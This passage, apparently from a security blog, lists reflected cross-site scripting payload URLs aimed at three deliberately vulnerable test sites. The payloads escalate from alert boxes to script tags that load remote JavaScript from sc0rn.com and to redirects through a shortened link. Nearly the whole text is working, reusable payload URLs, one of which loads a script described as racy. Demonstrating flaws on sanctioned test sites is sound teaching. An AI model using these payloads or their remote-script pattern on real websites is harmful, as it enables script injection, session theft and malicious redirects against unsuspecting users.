I'll present these techniques using 3 websites that are Internet facing and purposefully built to be susceptible to reflected XSS.
- demo.testfire.net (operated by IBM)
- www.webscantest.com (NT Objectives)
- testasp.vulnweb.com (Acunetix)
First, there is the boring alert box that I'm trying to get away from:
- http://demo.testfire.net/search.aspx?txtSearch=%3Cscript%3Ealert('xss')%3C%2Fscript%3E
- http://www.webscantest.com/crosstraining/search.php?q=%22%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E%%3Cfont%20color%3D%22white
- http://testasp.vulnweb.com/Search.asp?tfSearch=%3Cscript%3Ealert('xss')%3C%2Fscript%3E
- http://demo.testfire.net/search.aspx?txtSearch=%3Cscript%20src=%22http://sc0rn.com/cfy.js%22%3E%3C%2Fscript%3E
- http://www.webscantest.com/crosstraining/search.php?q=%22%3E%3Cscript%20src=%22http://sc0rn.com/cfy.js%22%3E%3C%2Fscript%3E%3Cfont%20color%3d%22white
- http://testasp.vulnweb.com/Search.asp?tfSearch=%3Cscript%20src=%22http://sc0rn.com/cfy.js%22%3E%3C%2Fscript%3E
- http://demo.testfire.net/search.aspx?txtSearch=%3Cscript%3Elocation.href=%22http://goo.gl/z4LTEG%22;%3C%2Fscript%3E
- http://www.webscantest.com/crosstraining/search.php?q=%22%3E%3Cscript%3Elocation.href=%22http://goo.gl/z4LTEG%22;%3C%2Fscript%3E%3Cfont%20color%3d%22white
- http://testasp.vulnweb.com/Search.asp?tfSearch==%3Cscript%3Elocation.href=%22http://goo.gl/z4LTEG%22;%3C%2Fscript%3E
- http://demo.testfire.net/search.aspx?txtSearch=%3Cscript%20src=%22http://sc0rn.com/sc.js%22%3E%3C%2Fscript%3E
- http://www.webscantest.com/crosstraining/search.php?q=%22%3E%3Cscript%20src=%22http://sc0rn.com/sc.js%22%3E%3C%2Fscript%3E%3Cfont%20color%3d%22white
- http://testasp.vulnweb.com/Search.asp?tfSearch=%3Cscript%20src=%22http://sc0rn.com/sc.js%22%3E%3C%2Fscript%3E
Lastly, I have a hilarious, but mildly racy (NSFW?) alternative. (in Firefox w/NoScript you may have to click refresh for this to work)
- http://demo.testfire.net/search.aspx?txtSearch=%3Cscript%20src=%22http://sc0rn.com/nip.js%22%3E%3C%2Fscript%3E
- http://www.webscantest.com/crosstraining/search.php?q=%22%3E%3Cscript%20src=%22http://sc0rn.com/nip.js%22%3E%3C%2Fscript%3E%3Cfont%20color%3d%22white
- http://testasp.vulnweb.com/Search.asp?tfSearch=%3Cscript%20src=%22http://sc0rn.com/nip.js%22%3E%3C%2Fscript%3E